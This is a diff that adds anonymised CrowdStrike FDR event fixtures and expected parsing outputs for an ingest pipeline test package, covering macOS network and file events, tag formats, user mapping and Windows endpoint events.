+            "network": {
+                "community_id": "1:4B7h9ITJ4/nPr0yxU/bsOi56RcI=",
+                "direction": "unknown",
+                "iana_number": "45"
+            },
+            "observer": {
+                "address": [
+                    "2a02:cf40::2"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::2"
+                ],
+                "serial_number": "6de60f31dcfac7d0eac699802285aa4c",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "148005106018043800"
+            },
+            "related": {
+                "hash": [
+                    "55043379"
+                ],
+                "ip": [
+                    "2a02:cf40::2",
+                    "81.2.69.144",
+                    "89.160.20.128"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.144",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144",
+                "port": 260
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "75043379",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "525000013203000905",
+                "ContextTimeStamp": "2025-10-19T12:00:04.560Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40::1"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2d87ac61a22522847bc2143b50b4aac12858",
+                "name": "6be29847ad234f89"
+            },
+            "destination": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "port": 60285
+            },
+            "device": {
+                "id": "bfae1ce346c864e642355116756472d6"
+            },
+            "event": {
+                "action": "RawBindIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2d87ac61a22522847bc2143b50b4aac12858|bfae1ce346c864e642355116756472d6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1760875204.560\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"75043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"525000013203000905\",\"RemotePort\":\"60285\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"28\",\"Entitlements\":\"26\",\"name\":\"6be29847ad234f89\",\"EventOrigin\":\"1\",\"id\":\"2d87ac61a22522847bc2143b50b4aac12858\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bfae1ce346c864e642355116756472d6\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "bfae1ce346c864e642355116756472d6",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "RawBindIP6",
+            "network": {
+                "community_id": "1:wxOxAXZsC7GKYyc7uRbvS69m/yQ=",
+                "direction": "unknown",
+                "iana_number": "45"
+            },
+            "observer": {
+                "address": [
+                    "2a02:cf40::1"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "serial_number": "bfae1ce346c864e642355116756472d6",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "525000013203000905"
+            },
+            "related": {
+                "hash": [
+                    "75043379"
+                ],
+                "ip": [
+                    "2a02:cf40::1"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "port": 28
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "600000970",
+                "ContentSHA256HashData": "9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7",
+                "ContextProcessId": "516365064008244070",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "OriginalContentLength": "100",
+                "ScriptContent": "77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c",
+                "ScriptContentName": "/51a/89",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0",
+                "name": "0a1beccbcea40ac2468a3ee78b"
+            },
+            "device": {
+                "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc"
+            },
+            "event": {
+                "action": "ScriptControlScanInfo",
+                "category": [
+                    "malware",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0|c7fe43754f5b6ebfa566ef25e9ac6ecc|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"ScriptControlScanInfo\",\"ScriptContent\":\"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c\",\"ConfigStateHash\":\"600000970\",\"OriginalContentLength\":\"100\",\"ContextProcessId\":\"516365064008244070\",\"aip\":\"89.160.20.128\",\"ContentSHA256HashData\":\"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"ScriptContentName\":\"/51a/89\",\"Entitlements\":\"56\",\"name\":\"0a1beccbcea40ac2468a3ee78b\",\"EventOrigin\":\"1\",\"id\":\"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c7fe43754f5b6ebfa566ef25e9ac6ecc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ScriptControlScanInfo",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "c7fe43754f5b6ebfa566ef25e9ac6ecc",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "516365064008244070"
+            },
+            "related": {
+                "hash": [
+                    "600000970"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "35043379",
+                "ContextBaseFileName": "d66187f4b1779e",
+                "ContextProcessId": "140060400067209000",
+                "ContextTimeStamp": "2025-07-20T16:51:47.865Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "IsOnRemovableDisk": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f6d443ab644ffa64617a90936d6da555f0a2",
+                "name": "e7ebdc66589c6ae4b87"
+            },
+            "device": {
+                "id": "3e32d11b9db211e438bf9141dbc31d85"
+            },
+            "event": {
+                "action": "TarFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f6d443ab644ffa64617a90936d6da555f0a2|3e32d11b9db211e438bf9141dbc31d85|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"d66187f4b1779e\",\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1753030307.865\",\"UserName\":\"2e31bb4e4604be73a\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"35043379\",\"ContextProcessId\":\"140060400067209000\",\"Size\":\"534039\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::2\",\"FileIdentifier\":\"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"e7ebdc66589c6ae4b87\",\"EventOrigin\":\"1\",\"id\":\"f6d443ab644ffa64617a90936d6da555f0a2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"3e32d11b9db211e438bf9141dbc31d85\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478",
+                "inode": "3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1",
+                "name": "097fc6a5",
+                "path": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5",
+                "size": 534039,
+                "type": "file"
+            },
+            "host": {
+                "id": "3e32d11b9db211e438bf9141dbc31d85",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "TarFileWritten",
+            "observer": {
+                "address": [
+                    "2a02:cf40::2"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::2"
+                ],
+                "serial_number": "3e32d11b9db211e438bf9141dbc31d85",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "140060400067209000",
+                "name": "d66187f4b1779e",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "35043379"
+                ],
+                "ip": [
+                    "2a02:cf40::2"
+                ],
+                "user": [
+                    "2e31bb4e4604be73a"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "2e31bb4e4604be73a"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "95043379",
+                "ContextBaseFileName": "6f79cfc3feaa775",
+                "ContextProcessId": "403000009094400601",
+                "ContextTimeStamp": "2025-09-09T08:00:34.724Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "IsOnRemovableDisk": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2633213df12f91013279bef1b12ce10d2c67",
+                "name": "708df495f98345bf516"
+            },
+            "device": {
+                "id": "b1e14abeaf9680c3f0b9be1f18550235"
+            },
+            "event": {
+                "action": "XarFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2633213df12f91013279bef1b12ce10d2c67|b1e14abeaf9680c3f0b9be1f18550235|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"6f79cfc3feaa775\",\"event_simpleName\":\"XarFileWritten\",\"ContextTimeStamp\":\"1757404834.724\",\"UserName\":\"f27ee237062cfd9\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"403000009094400601\",\"Size\":\"1000870\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.144\",\"FileIdentifier\":\"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"708df495f98345bf516\",\"EventOrigin\":\"1\",\"id\":\"2633213df12f91013279bef1b12ce10d2c67\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b1e14abeaf9680c3f0b9be1f18550235\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070",
+                "extension": "pkg",
+                "inode": "0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1",
+                "name": "5ef9b1be.pkg",
+                "path": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg",
+                "size": 1000870,
+                "type": "file"
+            },
+            "host": {
+                "id": "b1e14abeaf9680c3f0b9be1f18550235",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "XarFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "b1e14abeaf9680c3f0b9be1f18550235",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "403000009094400601",
+                "name": "6f79cfc3feaa775",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "95043379"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "f27ee237062cfd9"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "f27ee237062cfd9"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
new file mode 100644
index 0000000000..4789a85c5b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
@@ -0,0 +1,4 @@
+{"Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705"}
+{"Tags":{"Name":"service-worker-storage.aws-id","Owner":"serviceowner","Partition":"partitionname","Service":"ServiceName","Subcluster":"blue","Costcenter":"servicerunner","Email":"user@example.com","Environment":"prod"}}
+{"Tags":[{"Key":"Name","ValueString":"service-worker-storage.aws-id"},{"Key":"Owner","ValueString":"serviceowner"},{"Key":"Partition","ValueString":"partitionname"},{"Key":"Service","ValueString":"ServiceName"},{"Key":"Subcluster","ValueString":"blue"},{"Key":"Costcenter","ValueString":"servicerunner"},{"Key":"Email","ValueString":"user@example.com"},{"Key":"Environment","ValueString":"prod"}]}
+{"Tags":["312","11544872091698","21990232555653","21990232555859","26388279066700","26388279066703","26388279066704","26388279066705"]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
new file mode 100644
index 0000000000..9374df97a3
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
@@ -0,0 +1,88 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "Tags": [
+                    "312",
+                    "11544872091698",
+                    "21990232555653",
+                    "21990232555859",
+                    "26388279066700",
+                    "26388279066703",
+                    "26388279066704",
+                    "26388279066705"
+                ]
+            },
+            "event": {
+                "original": "{\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705\"}"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "Tags": [
+                    "Partition:partitionname",
+                    "Owner:serviceowner",
+                    "Costcenter:servicerunner",
+                    "Email:user@example.com",
+                    "Service:ServiceName",
+                    "Environment:prod",
+                    "Subcluster:blue",
+                    "Name:service-worker-storage.aws-id"
+                ]
+            },
+            "event": {
+                "original": "{\"Tags\":{\"Name\":\"service-worker-storage.aws-id\",\"Owner\":\"serviceowner\",\"Partition\":\"partitionname\",\"Service\":\"ServiceName\",\"Subcluster\":\"blue\",\"Costcenter\":\"servicerunner\",\"Email\":\"user@example.com\",\"Environment\":\"prod\"}}"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "Tags": [
+                    "Name:service-worker-storage.aws-id",
+                    "Owner:serviceowner",
+                    "Partition:partitionname",
+                    "Service:ServiceName",
+                    "Subcluster:blue",
+                    "Costcenter:servicerunner",
+                    "Email:user@example.com",
+                    "Environment:prod"
+                ]
+            },
+            "event": {
+                "original": "{\"Tags\":[{\"Key\":\"Name\",\"ValueString\":\"service-worker-storage.aws-id\"},{\"Key\":\"Owner\",\"ValueString\":\"serviceowner\"},{\"Key\":\"Partition\",\"ValueString\":\"partitionname\"},{\"Key\":\"Service\",\"ValueString\":\"ServiceName\"},{\"Key\":\"Subcluster\",\"ValueString\":\"blue\"},{\"Key\":\"Costcenter\",\"ValueString\":\"servicerunner\"},{\"Key\":\"Email\",\"ValueString\":\"user@example.com\"},{\"Key\":\"Environment\",\"ValueString\":\"prod\"}]}"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "Tags": [
+                    "312",
+                    "11544872091698",
+                    "21990232555653",
+                    "21990232555859",
+                    "26388279066700",
+                    "26388279066703",
+                    "26388279066704",
+                    "26388279066705"
+                ]
+            },
+            "event": {
+                "original": "{\"Tags\":[\"312\",\"11544872091698\",\"21990232555653\",\"21990232555859\",\"26388279066700\",\"26388279066703\",\"26388279066704\",\"26388279066705\"]}"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
new file mode 100644
index 0000000000..7dc9568c3f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
@@ -0,0 +1 @@
+{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546157.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546169.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
new file mode 100644
index 0000000000..3b719491e2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
@@ -0,0 +1,43 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-12-14T09:29:29.576Z",
+            "crowdstrike": {
+                "AccountType": "Domain User",
+                "LastLoggedOnHost": "COMPUTER1",
+                "LocalAdminAccess": "No",
+                "LogonInfo": "Domain User Logon",
+                "LogonTime": "2023-12-14T09:29:17.197Z",
+                "LogonType": "Interactive",
+                "PasswordLastSet": "1699971198.062",
+                "UserLogonFlags_decimal": "0",
+                "UserSid_readable": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ad",
+                "monthsincereset": "1.0"
+            },
+            "event": {
+                "created": "2023-12-14T09:29:29.576Z",
+                "id": "||ffffffff15754bcfb5f9152ec7ac90ad",
+                "original": "{\"AccountType\":\"Domain User\",\"LastLoggedOnHost\":\"COMPUTER1\",\"LocalAdminAccess\":\"No\",\"LogonInfo\":\"Domain User Logon\",\"LogonTime\":\"1702546157.197\",\"LogonType\":\"Interactive\",\"PasswordLastSet\":\"1699971198.062\",\"User\":{\"Name\":\"DOMAIN\\\\BRADLEYA\",\"ID\":\"1000\"},\"UserIsAdmin\":\"0\",\"UserLogonFlags_decimal\":\"0\",\"UserSid_readable\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"_time\":\"1702546169.576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ad\",\"event_platform\":\"Win\",\"monthsincereset\":\"1.0\"}"
+            },
+            "host": {
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "related": {
+                "user": [
+                    "DOMAIN\\BRADLEYA",
+                    "1000"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "1000",
+                "name": "DOMAIN\\BRADLEYA"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
new file mode 100644
index 0000000000..ee90ee5f35
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
@@ -0,0 +1,121 @@
+{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"}
+{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"}
+{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"}
